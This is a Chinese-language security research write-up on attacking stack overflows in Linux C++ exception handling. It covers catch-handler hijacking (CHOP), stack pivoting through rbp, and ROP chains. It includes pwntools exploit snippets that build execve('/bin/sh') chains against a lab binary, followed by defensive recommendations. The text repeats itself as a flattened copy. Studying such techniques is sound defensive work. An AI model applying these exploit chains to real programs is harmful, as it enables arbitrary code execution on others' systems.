溢出漏洞在异常处理中的攻击手法-下
字数 1320 2025-08-20 18:17:59

Linux下C++异常处理溢出漏洞攻击手法研究

1. 基础知识

1.1 异常处理机制

本文针对Linux下C++基于eh_frame进行unwind的异常处理流程的攻击手法进行研究。异常处理流程在不同操作系统和语言上有差异,需具体问题具体对待。

1.2 关键编译参数

  • -fomit-frame-pointer:省略不需要帧指针的函数的帧指针,节省寄存器空间
  • -no-pie:禁用位置无关可执行文件
  • -static:静态链接
  • -fomit-frame-pointer的影响:使程序不依赖rbp存储栈帧,仅通过rsp调整栈位置

1.3 Canary特性

Canary及__stack_chk_fail()并非在所有栈帧中都包含,只放置在可能出现栈溢出的地方。

2. 从CHOP到ROP攻击

2.1 基本攻击思路

通过覆盖返回地址来控制不同的catch handler调用,从而控制程序流。

2.2 攻击步骤

  1. 劫持程序流到backdoor函数的catch块
  2. 观察返回地址(如__libc_start_call_main
  3. 利用Canary特性继续溢出,劫持catch handler的返回地址

2.3 关键条件

  • 溢出点地址必须比catch handler的栈地址低
  • 异常处理流程中的栈展开(栈回退)保证了这一点

2.4 实际测试

  1. 构造payload覆盖handler的返回地址
  2. 劫持返回地址为backdoor()
  3. 进一步构造ROP链调用sys_execve("/bin/sh",0,0)

2.5 示例exp关键点

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

io = process('./pwn')

# 定义gadget地址
pop_rdi = 0x000000000040291c
pop_rsi = 0x0000000000404009
pop_rdx_rbx = 0x000000000049775b
pop_rax = 0x0000000000462f37
syscall = 0x000000000040fac9
read_addr = 0x4624D0
binsh = 0x4d7000

# 构造payload
payload = b'a' * 0x28
payload += p64(backdoor_try + 1)
payload += b'b' * 0x18
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(binsh)
payload += p64(pop_rdx_rbx)
payload += p64(0x8)
payload += p64(0)
payload += p64(read_addr)
# ... 更多ROP链构造

3. CHOP与栈转移攻击

3.1 攻击场景

当程序使用rbp作为栈帧寄存器时(不使用-fomit-frame-pointer参数)

3.2 基本思路

  1. 通过覆盖rbp进行栈转移
  2. 在bss段伪造栈底
  3. 构造二次溢出实现ROP

3.3 详细攻击步骤

  1. 第一次溢出

    • 用name变量在bss段伪造栈底
    • 覆盖rbp为name变量地址
    • 设置返回地址为test函数地址
  2. 第二次溢出

    • 在bss上留下/bin/sh字符串
    • 在read的返回地址处构造ROP链
    • 利用栈转移控制程序流

3.4 关键技巧

  • 控制rbp使rbp和rsp空隙足够小
  • 跳过test函数最初的栈帧控制区域
  • 利用call read时返回地址会被push到栈的特性

3.5 示例exp关键点

name_addr = 0x4D93D0
test_addr = 0x401a9d

# 第一次payload构造栈转移
payload = p64(name_addr) + p64(test_addr)

# 第二次payload构造ROP
payload = b'/bin/sh\x00'
payload += p64(0) * 6
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_rbx)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(syscall)

4. 总结与关键点

4.1 主要攻击手法

  1. 混淆unwinder

    • 使异常被其他函数的catch handler捕获
    • 利用libc/c++内原有的Golden Gadget实现任意函数调用
  2. 不使用rbp的情况

    • 直接在合适的catch handler中进行ROP
  3. 使用rbp的情况

    • 配合栈转移效果,在bss等区域做ROP

4.2 理论可行方案

  1. 利用clean up中的析构函数构造UAF
  2. 利用clean up和_Unwind_Resume()构造执行链(类似ROP思想)

4.3 防御建议

  1. 避免使用-fomit-frame-pointer参数
  2. 在所有异常处理中添加栈保护
  3. 对全局变量和堆操作进行严格边界检查
  4. 使用现代编译器的安全特性(如CFI)
Linux下C++异常处理溢出漏洞攻击手法研究 1. 基础知识 1.1 异常处理机制 本文针对Linux下C++基于eh_ frame进行unwind的异常处理流程的攻击手法进行研究。异常处理流程在不同操作系统和语言上有差异,需具体问题具体对待。 1.2 关键编译参数 -fomit-frame-pointer :省略不需要帧指针的函数的帧指针,节省寄存器空间 -no-pie :禁用位置无关可执行文件 -static :静态链接 -fomit-frame-pointer 的影响:使程序不依赖rbp存储栈帧,仅通过rsp调整栈位置 1.3 Canary特性 Canary及 __stack_chk_fail() 并非在所有栈帧中都包含,只放置在可能出现栈溢出的地方。 2. 从CHOP到ROP攻击 2.1 基本攻击思路 通过覆盖返回地址来控制不同的catch handler调用,从而控制程序流。 2.2 攻击步骤 劫持程序流到backdoor函数的catch块 观察返回地址(如 __libc_start_call_main ) 利用Canary特性继续溢出,劫持catch handler的返回地址 2.3 关键条件 溢出点地址必须比catch handler的栈地址低 异常处理流程中的栈展开(栈回退)保证了这一点 2.4 实际测试 构造payload覆盖handler的返回地址 劫持返回地址为backdoor() 进一步构造ROP链调用 sys_execve("/bin/sh",0,0) 2.5 示例exp关键点 3. CHOP与栈转移攻击 3.1 攻击场景 当程序使用rbp作为栈帧寄存器时(不使用 -fomit-frame-pointer 参数) 3.2 基本思路 通过覆盖rbp进行栈转移 在bss段伪造栈底 构造二次溢出实现ROP 3.3 详细攻击步骤 第一次溢出 : 用name变量在bss段伪造栈底 覆盖rbp为name变量地址 设置返回地址为test函数地址 第二次溢出 : 在bss上留下 /bin/sh 字符串 在read的返回地址处构造ROP链 利用栈转移控制程序流 3.4 关键技巧 控制rbp使rbp和rsp空隙足够小 跳过test函数最初的栈帧控制区域 利用 call read 时返回地址会被push到栈的特性 3.5 示例exp关键点 4. 总结与关键点 4.1 主要攻击手法 混淆unwinder : 使异常被其他函数的catch handler捕获 利用libc/c++内原有的Golden Gadget实现任意函数调用 不使用rbp的情况 : 直接在合适的catch handler中进行ROP 使用rbp的情况 : 配合栈转移效果,在bss等区域做ROP 4.2 理论可行方案 利用clean up中的析构函数构造UAF 利用clean up和 _Unwind_Resume() 构造执行链(类似ROP思想) 4.3 防御建议 避免使用 -fomit-frame-pointer 参数 在所有异常处理中添加栈保护 对全局变量和堆操作进行严格边界检查 使用现代编译器的安全特性(如CFI)